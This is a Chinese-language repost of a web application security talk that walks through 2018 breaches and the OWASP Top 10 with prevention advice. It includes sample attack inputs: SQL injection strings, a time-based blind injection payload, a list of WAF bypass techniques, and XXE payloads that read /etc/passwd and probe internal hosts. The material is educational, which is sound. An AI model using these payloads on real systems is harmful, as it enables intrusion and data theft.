日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

WebApp 安全入门

發布時間:2023/12/10 编程问答 37 豆豆
生活随笔 收集整理的這篇文章主要介紹了 WebApp 安全入门 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

2018 網絡安全事故頻發,從數據泄露、信息竊取,到 DDOS 攻擊、勒索病毒,不僅威脅的總數在增加,威脅態勢也變得更加多樣化,攻擊者在不斷開發新的攻擊途徑的同時,也盡力在攻擊過程中掩蓋其蹤跡,使網絡安全防護變得越發棘手。

未來是萬物互聯的時代,唯有把握住網絡信息安全,才能避免被降維打擊。本次分享,葡萄城技術團隊將從 WebApp 安全出發,帶你了解更多意想不到的安全防護措施與黑客攻擊手段,助你提高網絡安全意識,最終學會如何提高風險意識,避免遭受網絡安全攻擊。

本場 Chat 核心內容:

  • 第一節:WebApp 安全風險和防護(PPT Page 1~7)
    • WebApp 安全現狀分析
    • 2018 網絡安全事故
    • 黑客如何攻擊系統
    • OWASP Top 10 簡介
  • 第二節:WebApp 風險講解(上)(PPT Page 8~10)
    • 注入
    • 失效的身份認證
    • 敏感數據泄露
  • 第三節:WebApp 風險講解(下)(PPT Page 11~18)
    • XML 外部實體
    • 其他常見的風險
    • 我們能做什么

2018 網絡安全事故頻發,從數據泄露、信息竊取,到 DDOS 攻擊、勒索病毒,不僅威脅的總數在增加,威脅態勢也變得更加多樣化,攻擊者在不斷開發新的攻擊途徑的同時,也盡力在攻擊過程中掩蓋其蹤跡,使網絡安全防護變得越發棘手。

未來是萬物互聯的時代,唯有把握住網絡信息安全,才能避免被降維打擊。本場 Chat,我們特邀 Carl 作為分享嘉賓,于葡萄城技術公開課上,以 WebApp 安全防護為出發點,帶你了解更多意想不到的安全防護措施與黑客攻擊手段,助你提高網絡安全意識,最終學會如何規避風險隱患,避免遭受網絡安全攻擊。

下面開始展開正文。

開闊眼界 – 提升安全意識

提升網絡安全意識對項目團隊中的每一個角色、每一個流程都至關重要。同時,也只有具備了網絡安全意識,才愿意為數據安全投入更多的時間和精力。下面,我將為您展示部分 2018 年發生的網絡安全事故,這些事故造成的損失,也許遠遠超出你的想象。

2018 網絡安全事故回顧

Facebook 數據泄露事件: 2018年9月,Facebook 因安全系統漏洞而遭受黑客攻擊,導致約 5000 萬用戶信息泄露。

上市公司數據堂,涉嫌侵犯數百億條公民個人信息: 大數據行業知名企業數據堂在短短 8 個月的時間內,日均泄露公民個人信息 1.3 億余條,累計傳輸數據壓縮后約為 4000GB。

圓通 10 億快遞信息泄露: 10 億條用戶數據遭公開售賣,這些數據包括寄(收)件人姓名、電話、地址等隱私信息。

萬豪酒店 5 億用戶開房信息泄露: 萬豪酒店客房預訂數據庫遭黑客入侵,約5億名客戶的信息可能被泄露。

更多數據泄露事件

  • 國泰航空數據泄露,940萬乘客受影響
  • MongoDB 數據庫被入侵, 1100 萬份郵件記錄遭泄露
  • SHEIN 數據泄露影響 642 萬用戶
  • GovPayNet憑證系統存在漏洞,1400萬交易記錄被曝光
  • 小米有品平臺泄露個人隱私 約2000萬用戶數據遭泄露
  • 勒索病毒事件

  • 美國亞特蘭大市政府受到勒索軟件攻擊
  • 美國巴爾的摩市遭遇勒索軟件攻擊,導致 911 緊急調度服務的計算機輔助調度(CAD)功能掉線
  • 臺積電勒索病毒事件,約造成 17.6 億元的營收損失,股票市值下跌78億
  • 很多個人電腦和中小網站都曾遭受攻擊
  • DDoS 攻擊

  • 平昌冬奧會開幕式服務器遭到身份不明的黑客入侵
  • GitHu b遭 1.35T 級流量攻擊
  • 年度重大漏洞盤點

  • CPU 數據緩存機制漏洞
  • iOS 平臺 WebView 組件漏洞(UIWebView/ WKWebView)跨域訪問漏洞(CNNVD-201801-515)
  • Oracle WebLogic Server WLS 核心組件遠程代碼執行漏洞
  • 微信支付 SDKXX E漏洞
  • Apache Struts2 S2-057 安全漏洞
  • 知己知彼 – 黑客如何攻擊系統

    一名黑客攻擊網站的典型步驟,主要分為以下 5 步:

  • 信息收集和漏洞掃描
  • 漏洞利用
  • 上傳木馬
  • 獲取服務器的控制權
  • 清理痕跡
  • 黑客不是手動測試系統漏洞的,而是有很多強大的工具可以自動化完成。黑客不是利用系統中的一個漏洞,而是要利用一系列,不同層次的漏洞。黑客經常批量攻擊一系列網站,選取其中漏洞較多,較好利用的重點突破

    十大安全風險(OWASP Top 10)

    不安全的軟件正在破壞著我們的金融、醫療、國防、能源和其他重要的基礎設施。隨著我們的軟件變得愈加龐大、復雜且相互關聯,實現應用程序安全的難度也呈指數級增長。而現代軟件開發過程的飛速發展,使得快速、準確地識別軟件安全風險變得愈發的重要,OWASP 組織也因此誕生。

    OWASP,即開放式 Web 應用程序安全項目(Open Web Application Security Project),作為一個開源的、非盈利的全球性安全組織,它提供了有關計算機和互聯網應用程序的公正、實際、有成本效益的信息,其目的是協助個人、企業和機構來發現并使用可信賴的軟件。

    OWASP Top 10 是由 OWASP 組織公布,最具權威性的“10 項最嚴重的 Web 應用程序安全風險預警”,其就安全問題從威脅性和脆弱性兩方面進行可能性分析,并結合技術和商業影響的分析結果,輸出公認的、最嚴重的十類 Web 應用安全風險排名。OWASP Top 10 旨在針對上述風險,提出解決方案,幫助 IT 公司和開發團隊規范應用程序開發流程和測試流程,提高 Web 產品的安全性。

    OWASP 敦促所有公司在其組織內采用 OWASP Top 10 文檔,并確保其 Web 應用程序最大限度地降低這些風險,采用 OWASP Top 10 可能是將企業內的軟件開發文化轉變為生成安全代碼文化最行之有效的一步。

    OWASP Top 10 包括

  • 注入
  • 失效的身份認證
  • 敏感信息泄露
  • XML 外部實體(XXE)
  • 失效的訪問控制
  • 安全配置錯誤
  • 跨站腳本(XSS)
  • 不安全的反序列化
  • 使用含有已知漏洞的組件
  • 不足的日志記錄和監控
  • OWASP Top 10 應用安全風險詳解

    《OWASP Top 10》的目的在于為廣大企業確定一組最嚴重的風險項目。對于其中的每一項風險,我們將使用基于 OWASP 風險等級排序的評級方案,為您提供關于漏洞普遍性、可檢測性、業務/技術影響等信息。

    注入

    將不受信任的數據作為命令或查詢的一部分發送到解析器時,會產生諸如 SQL 注入、NoSQL 注入、OS 注入和 LDAP 注入等注入缺陷。攻擊者的惡意數據可以誘使解析器在沒有適當授權的情況下執行非預期命令或訪問數據。

    可利用性:容易幾乎任何數據源都能成為注入載體,包括環境變量、所有類型的用戶、參數、外部和內部Web服務。當攻擊者可以向解釋器發送惡意數據時,注入漏洞便可產生。

    普遍性:常見注入漏洞十分普遍,尤其是在遺留代碼中。注入漏洞通常能在 SQL、LDAP、XPath 或是 NoSQL 查詢語句、OS 命令、XML 解析器、SMTP 包頭、表達式語句及 ORM 查詢語句中找到。

    可檢測性:易注入漏洞很容易通過代碼審查發現。掃描器和模糊測試工具可以幫助攻擊者找到這些漏洞。

    技術影響:嚴重注入能導致數據丟失、破壞或泄露給無授權方、缺乏可審計性或是拒絕服務。注入有時甚至能導致主機被完全接管。

    業務影響:未知您的應用和數據需要受到保護,以避免對業務造成影響。

    自查:您的應用程序脆弱嗎?

    當您的應用有如下情況時,是脆弱且易受到攻擊的:

  • 用戶提供的數據沒有經過應用程序的驗證、過濾或凈化。
  • 動態查詢語句或非參數化的調用,在沒有上下文感知轉義的情況下,被用于解釋器。
  • 在 ORM 搜索參數中使用了惡意數據,這樣搜索就獲得包含敏感或未授權的數據。
  • 惡意數據直接被使用或連接,諸如 SQL 語句或命令在動態查詢語句、命令或存儲過程中包含結構和惡意數據。
  • 一些常見的注入,包括:SQL、OS 命令、ORM、LDAP 和表達式語言(EL)或 OGNL 注入。

    所有編譯器的原理都是相似的,因此 Code Review 是目前為止最有效的檢測應用程序注入風險的辦法之一。當然,您也可以對代碼中所有參數、字段、頭、cookie、JSON 和 XML 數據輸入進行 DAST 掃描,并將 SAST 和 DAST 工具添加到 CI/CD 進程中,以便在項目部署前對現有代碼或新代碼進行注入檢測。

    如何防止注入?

    防止注入漏洞需要將數據與命令語句、查詢語句分隔開來:

  • 最佳選擇是使用安全的 API,完全避免使用解釋器,或提供參數化界面的 API,或遷移到 ORM 或實體框架中。(注意:當參數化時,如果 PL/SQL 或 T-SQL 將查詢和數據連接在一起,或者執行帶有立即執行或 exec() 的惡意數據,存儲過程仍然可以引入 SQL 注入漏洞。)
  • 使用正確或符合“白名單”規范的輸入驗證方法,同樣有助于防止注入攻擊,但這很可能引起用戶的吐槽,因為許多應用程序在輸入中需要特殊字符,如文本區域或移動應用程序的 API。
  • 對于所有動態查詢,可以使用該解釋器的特定轉義語法轉義特殊字符。OWASP 的 Java Encoder 和類似的庫提供了這樣的轉義例程。(注意:在 SQL 結構中,表名、列名等無法轉義,因此用戶提供的結構往往是非常危險的。)
  • 在查詢中使用 LIMIT 和其他 SQL 控件,防止在 SQL 注入時引發大量數據泄露。
  • 攻擊案例場景

    場景#1:應用程序在脆弱的 SQL 語句結構中使用不可信數據:String query = "SELECT * FROM accounts WHEREcustID='" + request.getParameter("id") + "'“;

    場景#2:框架應用的盲目信任,也可能導致查詢語句的漏洞。(例如:Hibernate查詢語言(HQL)):Query HQLQuery = session.createQuery("FROM accountsWHERE custID='" + request.getParameter("id") + "'");

    在這兩個案例中,攻擊者在瀏覽器中將“id”參數的值修改成: ’or’1’=’1。例如:http://example.com/app/accountView?id=' or '1'='1這樣查詢語句的意義就變成了從 accounts 表中返回所有記錄。

    SQL 盲注

    SQL 盲注,就是在 SQL 語句注入后且成功執行時,執行的結果不能回顯到前端頁面。此時,我們需要利用一些方法進行判斷或者嘗試,這個過程稱之為盲注。

    盲注一般分為三類:

    一、基于布爾的盲注

    基于布爾的盲注通常使用邏輯判斷推測獲取的數據,通過給定條件,服務器返回真或假。使用二分法或者正則表達式等方法即可縮小判斷的范圍。

    二、基于時間的盲注

    主要是利用延時或者執行的時間來判斷。

    If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判斷語句,條件為假,執行 sleep

    因為延時會受到網絡環境的影響,因此這種方法不是很可靠。

    三、基于報錯的盲注

    構造 payload 讓信息通過錯誤提示顯示。

    count(*) 和 rand(0) 和 group by 報錯

    rand(0) 是偽隨機數列,01101100。產生報錯的原因是因為 rand(0) 并不是一個定值,相當于一個變量。使用 group by 時,會建立一張虛擬表,字段為 key 和 count(*)。執行插入操作,第一次返回 0,但虛擬表中沒有這個項,數據庫會認為需要插入這個項,但數據庫并沒有記錄下來,因此,會再次執行 rand(0) 試圖獲取,但此時獲取的是第二個數。依次類推,當數據庫查詢發現 0 這個項不存在,執行插入操作時, rand(0) 返回值為 1,但是 1 已經存在,這時插入已經存在的項就會報錯。

    WAF 繞過

    之所以要談到 WAF 的常見特征,是為了更好的了解 WAF 的運行機制,以便增加繞過 WAF 的機會。總體來說,WAF(Web Application Firewall)具有以下四個方面的功能:

  • 審計設備:用來截獲所有 HTTP 數據或者僅僅滿足某些規則的會話;
  • 訪問控制設備:用來控制對 Web 應用的訪問,既包括主動安全模式也包括被動安全模式;
  • 架構/網絡設計工具:當運行在反向代理模式,他們被用來分配職能,集中控制,虛擬基礎結構等;
  • WEB 應用加固工具:這些功能增強被保護 Web 應用的安全性,它不僅能夠屏蔽 WEB 應用固有弱點,而且能夠保護 WEB 應用編程錯誤導致的安全隱患。
  • WAF過濾機制:

  • 異常檢測協議:拒絕不符合 HTTP 標準的請求;
  • 增強的輸入驗證:代理和服務端的驗證,而不只是限于客戶端驗證;
  • 白名單&黑名單:白名單適用于穩定的 Web 應用,黑名單適合處理已知問題;
  • 基于規則和基于異常的保護:基于規則更多的依賴黑名單機制,基于異常更為靈活;
  • 狀態管理:重點進行會話保護;
  • 其他:Cookies 保護、抗入侵規避技術、響應監視和信息泄露保護等。
  • 繞過 WAF 的方法:

    從目前能找到的資料來看,繞過WAF的技術主要分為9類,包含:

  • 大小寫混合(最簡單的繞過技術,用于只針對小寫或大寫的關鍵字匹配技術)
  • 替換關鍵字(這種方式大小寫轉化無法繞過,而且正則表達式會替換或刪除 select、union 這些關鍵字,如果只匹配一次就很容易繞過)
  • 使用編碼(URL 編碼、Unicode 編碼)
  • 使用注釋(普通注釋、內聯注釋)
  • 等價函數與命令(有些函數或命令因其關鍵字被檢測出來而無法使用,但是在很多情況下可以使用與之等價或類似的代碼替代其使用)
  • 特殊符號(特殊符號有特殊的含義和用法,涉及信息量比前面提到的幾種都要多)
  • HTTP 參數控制(這里 HTTP 參數控制除了對查詢語句的參數進行篡改,還包括 HTTP 方法、HTTP 頭的控制)
  • 緩沖區溢出(緩沖區溢出用于對付 WAF,有不少 WAF 是 C 語言寫的,而 C 語言自身沒有緩沖區保護機制,因此如果 WAF 在處理測試向量時超出了其緩沖區長度,就會引發 bug 從而實現繞過)
  • 整合繞過(整合的意思是結合使用前面談到的各種繞過技術,單一的技術可能無法繞過過濾機制,但是多種技術的配合使用成功的可能性就會增加不少。除非每一種技術單獨都無法使用,否則它們能產生比自身大得多的能量。)
  • 身份認證失效

    通過錯誤地使用 Web 應用程序的身份認證和會話管理功能,攻擊者能夠破譯密碼、密鑰和會話令牌,或者利用其它開發缺陷來暫時性或永久性地冒充管理員的身份。

    可利用性:容易攻擊者可以輕松獲取數百萬條有效用戶名和密碼組合,包括證書、默認的賬戶管理列表、自動的暴力破解和字典攻擊工具,以及高級的 GPU 破解工具。會話管理可以很容易地被利用,尤其是沒有過期的會話密匙。

    普遍性:常見大多數管理系統的設計和實現,都存在身份認證失效的問題。會話管理是身份驗證和訪問控制的基礎,并且存在于整個應用程序的進程中。

    可檢測性:一般攻擊者通常使用指南手冊來檢測失效的身份驗證。除此之外,也會關注密碼轉儲、字典攻擊,或者在類似釣魚、社會工程攻擊后,發現失效的身份認證。

    技術影響:嚴重攻擊者只需訪問幾個賬戶,或者一個管理員賬戶就可以破壞我們的系統。根據應用程序業務場景的不同,可能會導致洗錢、欺詐、用戶身份盜竊、泄露法律保護的敏感信息等嚴重違法行為。

    自查:您的應用程序脆弱嗎?

    確認用戶身份、身份驗證和會話管理非常重要,這些措施可用于將惡意的、未經身份驗證的攻擊者與授權用戶進行分離。如果您的應用程序存在如下問題,那么可能存在身份驗證失效漏洞:

  • 允許憑證填充,攻擊者可利用此獲得有效的用戶名和密碼。
  • 允許暴力破解或其他自動攻擊。
  • 使用默認、弱安全性的密碼,例如“Password1”或“admin/admin”。
  • 使用弱安全性或失效的驗證憑證。
  • 使用明文、加密或弱散列密碼。
  • 缺少或失效的多因素身份驗證。
  • 暴露 URL 中的會話 ID(例如 URL 重寫)。
  • 在成功登錄后不會更新會話 ID。
  • 不正確地使會話 ID 失效。當用戶不活躍的時候,用戶會話或認證令牌(特別是單點登錄(SSO)令牌)沒有正確注銷或失效。
  • 如何防止?

  • 在盡可能的情況下,使用多因素身份驗證,以防止憑證填充、暴力破解和被盜憑據再利用攻擊。
  • 不要使用已發送或部署默認的憑證,特別是管理員用戶。
  • 定期執行弱密碼檢查。
  • 將密碼長度、復雜性和循環策略與 NIST-800-63 B 的指導方針或其他現代的密碼策略保持一致。
  • 確認注冊、憑據恢復和 API 路徑,確保對所有輸出結果使用相同的消息,用以抵御賬戶枚舉攻擊。
  • 限制或逐漸延遲失敗的登錄嘗試。記錄所有失敗信息并在憑據填充、暴力破解或其他攻擊被檢測時提醒系統管理員。
  • 使用服務器端內置的會話管理器,在登錄后生成高度復雜且不存在于 URL 的隨機會話 ID。這樣當用戶登出、閑置、絕對超時后使其失效。
  • 攻擊案例場景

    場景#1:最常見的攻擊方式——憑證填充,使用已知密碼的列表。如果應用程序不限制身份驗證嘗試次數,則可以將應用程序用作密碼 oracle, 以確定憑證是否有效。

    場景#2:大多數身份驗證攻擊都是由于密碼作為唯一的認證因素。

    場景#3:應用會話超時設置不正確。用戶使用公共計算機訪問應用程序時,直接關閉瀏覽器選項卡就離開,而不是選擇“注銷”。

    憑據填充(撞庫)

    撞庫,是黑客通過收集互聯網已泄露的用戶和密碼信息,生成對應的字典表,嘗試批量登陸其他網站后,得到一系列可以登錄的用戶。很多用戶在不同網站使用的是相同的賬號和密碼,因此黑客可以通過獲取用戶在 A 網站的賬戶從而嘗試登錄 B 網站,這就是撞庫攻擊。

    撞庫可以通過數據庫安全防護技術解決,數據庫安全技術包括:數據庫漏掃、數據庫加密、數據庫防火墻、數據脫敏、數據庫安全審計系統。

    撞庫并不神秘,事實上,它正被廣泛的使用。舉例而言,根據 Shape Security 的報告,“攻擊者們一旦鎖定了一個財富 100 強的 B2C(企業對消費者)網站,就會在一個星期內使用遍布世界各地的代理服務器,對其進行超過五百萬次登錄嘗試。” 雪上加霜的是,被竊取的憑證也并不難找。黑客們會為了找樂子或尋求揚名立萬的機會把憑證散播到網上。當黑客們在憑證黑市(比如 Cracking-dot-org、 Crackingking-dot-org 以及 Crackingseal-dot-io)做生意時,這些名聲會派上大用場。

    多因素驗證

    多因素驗證(Multi-factor authentication,縮寫為 MFA),又譯多因子認證、多因素認證,是一種計算機訪問控制的方法,用戶要通過兩種以上的認證機制之后,才能得到授權,使用計算機資源。例如,用戶要輸入 PIN 碼,插入銀行卡,最后再經指紋比對,通過這三種認證方式,才能獲得授權。這種認證方式可以提高安全性。

    敏感數據泄露

    許多 Web 應用程序和 API 都無法正確保護敏感數據,例如:財務數據、醫療數據和PII數據。攻擊者可以通過竊取或修改未加密的數據來實施信用卡詐騙、身份盜竊或其他犯罪行為。未加密的敏感數據容易受到破壞,因此,我們需要對敏感數據加密,這些數據包括:傳輸過程中的數據、存儲的數據以及瀏覽器的交互數據。

    可利用性:一般攻擊者并非直接攻擊,而是在傳輸過程中、從客戶端(例如:瀏覽器)竊取密鑰、發起中間人攻擊,或從服務器端直接竊取明文數據。

    普遍性:廣泛這是最常見,也是最具影響力的攻擊手段。在數據加密的過程中,由于不安全的密鑰生成、管理以及使用弱加密算法、弱協議和弱密碼(未加鹽的哈希算法或弱哈希算法),導致數據泄露事件頻發。

    可檢測性:一般在服務器端,檢測傳輸過程中的數據弱點很容易,但檢測存儲數據的弱點卻異常困難。

    技術影響:嚴重敏感數據泄露事件造成的影響是非常嚴重的,因為這些數據通常包含了很多個人信息(PII),例如:醫療記錄、認證憑證、個人隱私、信用卡信息等。這些信息受到相關法律和條例的保護,例如:歐盟《通用數據保護條例》(GDPR)和地方隱私保護法律。

    自查:您的應用程序脆弱嗎?

    首先你需要確認哪些數據(包含:傳輸過程中的數據、存儲數據)是敏感數據。例如:密碼、信用卡卡號、醫療記錄、個人信息等,這些數據應該被加密,請Review:

  • 在數據傳輸過程中是否使用明文傳輸?這和傳輸協議相關,如:HTTP、SMTP 和 FTP。(注意:外網流量十分危險,請驗證所有的內部通信,如:負載平衡器、Web 服務器或后端系統之間的通信。)
  • 當數據被長期存儲時,無論存儲在哪里,它們是否都被加密或備份?
  • 無論默認條件還是源代碼中,是否還在使用任何舊的、脆弱的加密算法?
  • 是否使用默認加密密鑰,生成或重復使用脆弱的加密密鑰,或者缺少恰當的密鑰管理或密鑰回轉?
  • 是否強制加密敏感數據,例如:用戶代理(如:瀏覽器)指令,傳輸協議是否被加密?
  • 用戶代理(如:應用程序、郵件客戶端)是否未驗證服務器端證書的有效性?
  • 如何防止?

    對一些需要加密的敏感數據,應該做到以下幾點:

  • 對系統處理、存儲或傳輸的數據分類,并根據分類分別進行訪問控制。
  • 熟悉與敏感數據保護相關的法律和條例,并根據每項法規的要求保護敏感數據。
  • 對于沒必要存放,但重要的敏感數據,應當盡快清除,或者通過 PCI DSS 標記或攔截,只有未存儲的數據才不會被竊取。
  • 確保已存儲的所有敏感數據都被加密。
  • 確保使用了最新、強大的標準算法或密碼、參數、協議和密鑰,并且密鑰管理到位。
  • 確保傳輸過程中的數據被加密,如:使用 TLS。
  • 確保數據加密被強制執行,如:使用 HTTP 嚴格安全傳輸協議(HSTS )。
  • 禁止緩存對包含敏感數據的響應。
  • 確保使用密碼專用算法存儲密碼,如:Argon2 、scrypt 、bcrypt 或PBKDF2 。
  • 將工作因素(延遲因素)設置在可接受的范圍。
  • 單獨驗證每個安全配置項的有效性。
  • 攻擊案例場景

    場景 #1:假設一個應用程序使用自動化的數據加密系統加密了信用卡信息,并存儲在數據庫中,當數據被檢索時自動解密。這會導致 SQL 注入漏洞能夠以明文形式獲得所有信用卡卡號。

    場景 #2:一個網站上沒有使用或強制使用 TLS,或者僅使用弱加密算法。攻擊者通過監測網絡流量(如:不安全的無線網絡),將網絡連接從 HTTPS 降級到 HTTP,就可以截取請求并竊取用戶會話 cookie。然后,攻擊者可以復制用戶 cookie 并成功劫持經過認證的用戶會話、訪問或修改用戶個人信息。除此之外,攻擊者還可以更改所有傳輸過程中的數據,如:轉款的接收者。

    場景 #3:密碼數據庫使用未加鹽的哈希算法或弱哈希算法去存儲密碼,此時,一個文件上傳漏洞可使黑客能夠獲取密碼文件,而這些未加鹽的哈希密碼通過彩虹表暴力破解方式即可快速破解。

    各國應對措施

    日本個人信息保護法

    近年來,因信息、通信技術的發展,企業需要收集大量個人信息,用以提供準確且迅速的服務。個人信息的利用,無論是對現今的商業活動,還是對國民生活都變得不可或缺。但是,另一方面,由于處理個人信息狀況不當,導致個人權利和利益受到損害的可能性也在增大。在日本,包含企業和政府等團體的組織內部,泄露的個人信息數量累積超過了1000萬件。于是,鑒于規范處理個人信息,明確國家及地方公共團體的職責,確保個人信息有效利用等目的,日本于2005年4月1日起頒布《個人信息保護法》。

    歐盟《通用數據保護條例》(GDPR)

    歐盟《通用數據保護條例》(General Data Protection Regulation,簡稱GDPR),其前身是歐盟在1995年制定的《計算機數據保護法》,該法明確規定:

  • 對違法企業的罰金最高可達2000萬歐元(約合1.5億元人民幣)或其全球營業額的4%,以高者為準。
  • 網站經營者必須事先向客戶說明會自動記錄客戶的搜索和購物記錄,并獲得用戶的同意,否則按“未告知記錄用戶行為”作違法處理。
  • 企業不能再使用模糊、難以理解的語言,或冗長的隱私政策來從用戶處獲取數據使用許可。
  • 明文規定了用戶的“被遺忘權”(right to be forgotten),即用戶個人可以要求責任方刪除關于自己的數據記錄。
  • 設計安全賬號系統的正確姿勢

    數據安全防范的方法簡單來說,當數據從用戶鍵盤敲出的那一刻,到服務器后臺存儲過程中,都需保持正確的姿勢。如:

  • 用正確的姿勢保存密碼a) 低級錯誤:明文保存密碼b) 低級錯誤:可逆加密密碼c) 錯誤方法:md5 加密密碼d) 正確方法:加鹽 hash 保存密碼

  • 用正確的姿勢傳輸數據a) 驗證服務端的合法性b) 確保通信的安全

  • 用正確的姿勢加密敏感信息

  • 用正確的姿勢對數據進行備份和監控

  • XML 外部實體(XXE)

    許多較早的或配置錯誤的 XML 處理器評估了 XML 文件中的外部實體引用。攻擊者可以利用外部實體竊取使用 URI 文件處理器的內部文件和共享文件、監聽內部掃描端口、執行遠程代碼和實施拒絕服務攻擊。

    可利用性:一般如果攻擊者可以上傳 XML 文檔或在 XML 文檔中添加惡意內容(如,易受攻擊的代碼、依賴項或集成),他們就能夠攻擊含有缺陷的 XML 處理器。

    普遍性:常見一般來說,許多舊的 XML 處理器能夠對外部實體、XML 進程中被引用和評估的 URI 進行規范。SAST 工具可以通過檢查依賴項和安全配置來發現 XXE 缺陷。DAST 工具需要額外的手動步驟來檢測和利用 XXE 缺陷。

    技術影響:嚴重XXE 缺陷可用于提取數據、執行遠程服務器請求、掃描內部系統、執行拒絕服務攻擊和其他攻擊。

    自查:您的應用程序脆弱嗎?

    應用程序,特別是基于 XML 的 Web 服務,可能在以下方面容易受到攻擊:

  • 您的應用程序直接接受 XML 文件或者接受 XML 文件上傳,特別是來自不受信任源的文件,或者將不受信任的數據插入 XML 文件,并提交給 XML 處理器解析。
  • 在應用程序或基于 Web 服務的 SOAP 中,所有 XML 處理器都啟用了文檔類型定義(DTDs)。
  • 為了實現安全性或單點登錄(SSO),您的應用程序應該使用了 SAML進行身份認證,而假設 SAML 使用了XML進行身份確認,那么您的應用程序就容易受到 XXE 攻擊。
  • 如果您的應用程序使用第 1.2 版之前的 SOAP,并將XML實體傳遞到SOAP 框架,那么它可能受到 XXE 攻擊。
  • 存在 XXE 缺陷的應用程序更容易受到拒絕服務攻擊,如: Billion Laughs 攻擊。
  • 如何防止?

    培訓開發人員的安全意識,是識別和減少 XXE 的關鍵,除此之外,還需要:

  • 盡可能地使用簡單的數據格式(如:JSON),避免對敏感數據進行序列化。
  • 及時修復或更新應用程序或底層操作系統使用的 XML 處理器和庫。同時,通過依賴項檢測,將 SOAP 更新到 1.2 版本或更高版本。
  • 參考《OWASP Cheat Sheet ‘XXE Prevention‘》,在應用程序的所有XML解析器中禁用XML外部實體和DTD進程。
  • 在服務器端實施(“白名單”)輸入驗證、過濾和清理, 以防止在XML文檔、標題或節點中出現惡意數據。
  • 驗證XML或XSL文件上傳功能是否使用了XSD驗證或其他類似的驗證。
  • 盡管在許多集成環境中,手動代碼審查是大型、復雜應用程序的最佳選擇,但是SAST 工具可以檢測源代碼中的XXE漏洞。 如果無法實現這些控制,請考慮使用虛擬修復程序、API安全網關或Web應用程序防火墻( WAF )來檢測、監控和防止XXE攻擊。
  • 攻擊案例場景

    目前,已經有大量XXE缺陷被發現并公開,這些缺陷包括上傳可被接受的惡意XML文件、嵌入式設備的 XXE缺陷及深嵌套的依賴項等。

    場景 #1:攻擊者嘗試從服務端提取數據:

    <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>

    場景 #2:攻擊者通過將上面的實體行更改為以下內容來探測服務器的專用網絡:

    <!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>

    場景 #3:攻擊者通過惡意文件執行拒絕服務攻擊:

    <!ENTITY xxe SYSTEM "file:///dev/random" >]>

    XML基本定義

    XML是用于標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。 圖片來自網絡

    XML由3個部分構成,分別是:文檔類型定義(Document Type Definition,DTD),即XML的布局語言;可擴展的樣式語言(Extensible Style Language,XSL),即XML的樣式表語言;以及可擴展鏈接語言(Extensible Link Language,XLL)。

    XML 中的實體分為以下五種:字符實體,命名實體,外部實體,參數實體,內部實體,普通實體和參數實體都分為內部實體和外部實體兩種,外部實體定義需要加上 SYSTEM關鍵字,其內容是URL所指向的外部文件實際的內容。如果不加SYSTEM關鍵字,則為內部實體,表示實體指代內容為字符串。

    XML外部實體

    XML外部實體表示外部文件的內容,用 SYSTEM 關鍵詞表示:

    <!ENTITY test SYSTEM "1.xml">

    有些XML文檔包含system標識符定義的“實體”,這些文檔會在DOCTYPE頭部標簽中呈現。這些定義的“實體”能夠訪問本地或者遠程的內容。比如,下面的XML文檔示例就包含了XML“實體”。

    <?xml version="1.0" encoding="utf-8"?><!DOCTYPE Anything [<!ENTITY entityex SYSTEM "file:///etc/passwd">]><abc>&entityex;</abc>

    在上面的代碼中, XML外部實體 ‘entityex’ 被賦予的值為:file://etc/passwd。在解析XML文檔的過程中,實體’entityex’的值會被替換為URI(file://etc/passwd)內容值(也就是passwd文件的內容)。 關鍵字’SYSTEM’會告訴XML解析器,’entityex’實體的值將從其后的URI中讀取,并把讀取的內容替換entityex出現的地方。假如 SYSTEM 后面的內容可以被用戶控制,那么用戶就可以隨意替換為其他內容,從而讀取服務器本地文件(file:///etc/passwd)或者遠程文件(http://www.baidu.com/abc.txt)。

    XXE 注入定義

    XXE注入(即XML External Entity, XML外部實體注入)。通過 XML 實體,”SYSTEM”關鍵詞導致 XML 解析器可以從本地文件或者遠程 URI 中讀取數據。攻擊者可以通過 XML 實體傳遞自己構造的惡意值,從而引導處理程序解析它。當引用外部實體時,攻擊者通過構造惡意內容,可讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等行為。

    XXE 漏洞原理

    最常見的 XXE 漏洞類型分為以下三種:

  • 基礎的 XXE 注入— 外部實體注入本地D TD
  • 基于盲注的 XXE 注入—XML 解析器在響應中不顯示任何錯誤
  • 基于錯誤的 XXE 注入—成功解析之后,XML 解析器始終顯示 SAME 響應。(即“您的消息已被接收”),因此,我們可能希望解析器將文件的內容“打印”到錯誤響應中。
  • 既然 XML 可以從外部讀取 DTD 文件,那我們就自然地想到了如果將路徑換成另一個文件的路徑,那么服務器在解析這個 XML 的時候就會把那個文件的內容賦值給 SYSTEM 前面的根元素中,只要我們在 XML 中讓前面的根元素的內容顯示出來,就可以讀取那個文件的內容了。這就造成了一個任意文件讀取的漏洞。

    假設我們指向的是一個內網主機的端口呢?是否會給出錯誤信息,我們是不是可以從錯誤信息上來判斷內網主機這個端口是否開放,這就造成了一個內部端口被探測的問題。一般來說,服務器解析 XML 有兩種方式,一種是一次性將整個 XML 加載進內存中,進行解析;另一種是一部分的、“流式”地加載、解析。如果我們遞歸地調用 XML 定義,一次性調用巨量的定義,那么服務器的內存就會被消耗完,造成了拒絕服務攻擊。

    失效的訪問控制

    未對通過身份驗證的用戶實施恰當的訪問控制。攻擊者可以利用這些缺陷,訪問未經授權的功能或數據,例如:訪問其他用戶的賬戶、查看敏感文件、修改其他用戶的數據、更改訪問權限等。

    安全配置錯誤

